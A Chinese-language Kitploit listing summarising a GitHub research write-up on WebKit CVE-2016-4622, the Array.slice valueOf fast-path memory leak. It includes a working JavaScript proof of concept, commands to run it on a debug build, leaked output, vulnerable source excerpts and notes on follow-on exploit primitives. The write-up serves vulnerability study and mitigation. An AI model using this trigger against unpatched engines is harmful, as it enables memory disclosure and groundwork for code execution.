Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
WebKit-CVE-2016-4622 — 我的 WebKit CVE-2016-4622 漏洞利用过程探索之旅 | Kitploit
工具/GitHubGitHub/hdbreaker/webkit-cve-2016-4622
内存取证漏洞分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育二进制利用
GitHubhdbreaker/webkit-cve-2016-4622

WebKit-CVE-2016-4622

我的 WebKit CVE-2016-4622 漏洞利用过程探索之旅

查看仓库
2351年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

WebKit CVE-2016-4622 分析:深入剖析 Slice ValueOf 快速路径漏洞

对 WebKit JavaScript Core 漏洞的全面分析与利用,该漏洞可通过 Array.slice 操作实现内存泄露

目录

  • 执行摘要
  • 漏洞概述
  • 研究环境搭建
  • 技术分析
  • 利用过程演示
  • 关键发现
  • 资源与参考

执行摘要

本仓库包含对 CVE-2016-4622 的全面分析,这是 WebKit 的 JavaScript Core 引擎中的一个严重内存泄露漏洞。该漏洞源于 Array.slice() 实现中的竞争条件,可利用它泄露相邻内存内容,并作为 addrof 和 fakeobj 等更复杂利用原语的基础。

影响:内存泄露,可能导致远程代码执行 受影响组件:WebKit JavaScript Core (JSC) 根本原因:fastSlice 实现中的检查时间-使用时间(TOCTOU)漏洞


漏洞概述

核心问题

该漏洞存在于 WebKit 为 Array.slice() 方法提供的优化“快速路径”中。在处理切片参数时,引擎会调用参数对象的 valueOf() 方法,将对象参数转换为原始值。此转换发生在确定切片操作参数之后、实际内存复制操作之前。

攻击向量

root@kitploit:~
var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);

具体流程:

  1. 创建包含 100 个元素的数组 a
  2. 在切片参数处理过程中,调用 valueOf()
  3. 恶意 valueOf() 将数组长度缩减为 0
  4. memcpy 尝试从空数组中复制 10 个元素
  5. 结果:相邻内存被复制,导致信息泄露

研究环境搭建

仓库结构

root@kitploit:~
WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/    # Reference implementation by Saelo
├── Exploit/                        # Custom exploitation attempts
│   ├── poc-memleak.js             # Memory leak proof-of-concept
│   └── slice_over_array.js        # Educational examples
├── WebKit-SRC-CVE-2016-4622/     # Vulnerable source code (commit 320b1fc)
├── WebKit-Bins/                   # Compiled binaries for testing
│   ├── Debug/                     # Debug build with symbols
│   └── ASAN/                      # AddressSanitizer enabled build
└── Screenshoots/                  # Visual documentation

测试环境

二进制文件:在 VMWare OSX 10.11 上使用 XCode 7.3.2 构建的预编译 JSC 二进制文件 架构:x86_64 Mach-O 可执行文件 调试特性:符号 + AddressSanitizer,用于全面分析

运行概念验证

root@kitploit:~
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js

# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

技术分析

理解 Array.slice() 机制

Array.slice(begin, end) 方法创建数组一部分的浅拷贝。在正常情况下:

root@kitploit:~
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3);  // Returns ['b', 'c']

关键洞察:end 参数会通过 valueOf() 进行类型转换,从而为利用创造了机会窗口。

调用栈分析

当漏洞触发时,AddressSanitizer 捕获以下调用流程:

root@kitploit:~
#0  memcpy-param-overlap detected
#1  JSC::JSArray::fastSlice()
#2  JSC::arrayProtoFuncSlice()
#3  JavaScript execution context

Stack Trace Analysis

深入剖析:逐函数分析

1. arrayProtoFuncSlice() - 入口点

位置:WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887

root@kitploit:~
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    unsigned length = getLength(exec, thisObj);  // Initial length: 100
    
    // Critical: Parameter conversion happens here
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
    
    // Fast path determination
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = 
        speciesConstructArray(exec, thisObj, end - begin);
    
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        // Vulnerability triggers here
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
    // ... fallback implementation
}

2. argumentClampedIndexFromStartOrEnd() - 转换触发器

位置:WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236

root@kitploit:~
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    // CRITICAL: This is where valueOf() gets called
    double indexDouble = value.toInteger(exec);
    
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

竞争条件:

  • 在处理第二个参数 {valueOf: function() { a.length = 0; return 10; }} 时
  • value.toInteger(exec) 调用我们恶意的 valueOf()
  • 我们的函数将数组长度从 100 修改为 0
  • 但切片操作参数(begin=0, end=10)保持不变

3. fastSlice() - 内存损坏发生处

位置:WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720

root@kitploit:~
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        // ... setup code ...
        
        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            // VULNERABILITY: Reads beyond array bounds
            memcpy(resultButterfly.contiguousDouble().data(), 
                   m_butterfly.get()->contiguousDouble().data() + startIndex, 
                   sizeof(JSValue) * count);
        // ...
    }
}

内存损坏:

  • startIndex = 0, count = 10
  • 数组长度现在为 0(被 valueOf() 修改)
  • memcpy 从索引 0 开始读取 10 个 JSValues
  • 由于数组为空,这会读取相邻的堆内存
  • 结果:信息泄露漏洞

利用过程演示

分步攻击流程

  1. 准备阶段

    root@kitploit:~
    var a = [];
    for (var i = 0; i < 100; i++)
        a.push(i + 0.123);
    
    • 创建包含 100 个元素的 ArrayWithDouble 类型数组
    • 元素在内存中连续存储
  2. 触发阶段

    root@kitploit:~
    var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
    
    • 以恶意对象作为 end 参数发起切片操作
    • 快速路径验证通过(数组看起来正常)
  3. 利用阶段

    • 参数转换调用 valueOf()
    • 数组长度缩减为 0
    • fastSlice 尝试从空数组复制 10 个元素
    • 相邻内存被泄露到结果数组中
  4. 结果

    root@kitploit:~
    0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
    
    • 前两个值:合法的数组数据
    • 其余值:泄露的相邻内存

可视化表示

root@kitploit:~
Before valueOf():  [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf():   [] (length=0)
memcpy reads:      [0.123][1.123][LEAKED][LEAKED][LEAKED]...

关键发现

根本原因分析

组件问题影响

利用原语

该漏洞可作为以下利用原语的基础:

  • 信息泄露:直接的内存泄漏能力
  • ASLR 绕过:可能揭示地址空间布局
  • 类型混淆:为 addrof/fakeobj 原语奠定基础

防御性思考

缓解策略:

  • 在 memcpy 操作之前验证数组边界
  • 在快速路径中实现一致的状态检查
  • 为优化操作添加运行时边界验证

资源与参考

研究论文与文章

  • 攻击 JavaScript 引擎 - Saelo (Phrack)
  • CVE-2016-4622 分析 - TuringH
  • 深入分析 - null2root
  • WebKit 利用教程

技术文档

  • Array.slice() - MDN Web 文档
  • WebKit 源代码
  • JavaScript Core 架构

工具与环境

  • 漏洞提交:320b1fc3f6f
  • 构建环境:VMWare OSX 10.11, XCode 7.3.2
  • 分析工具:AddressSanitizer, GDB, JSC 调试构建

研究时间线:2020 年 4 月 11-12 日
状态:分析完成 ✅
后续步骤:开发包含 addrof/fakeobj 原语的完整利用链

下载工具
参数处理
argumentClampedIndexFromStartOrEnd 中的 TOCTOU
允许在处理期间修改状态
快速路径逻辑fastSlice 中验证不足绕过边界检查
内存操作数组复制中未检查的 memcpy直接内存泄露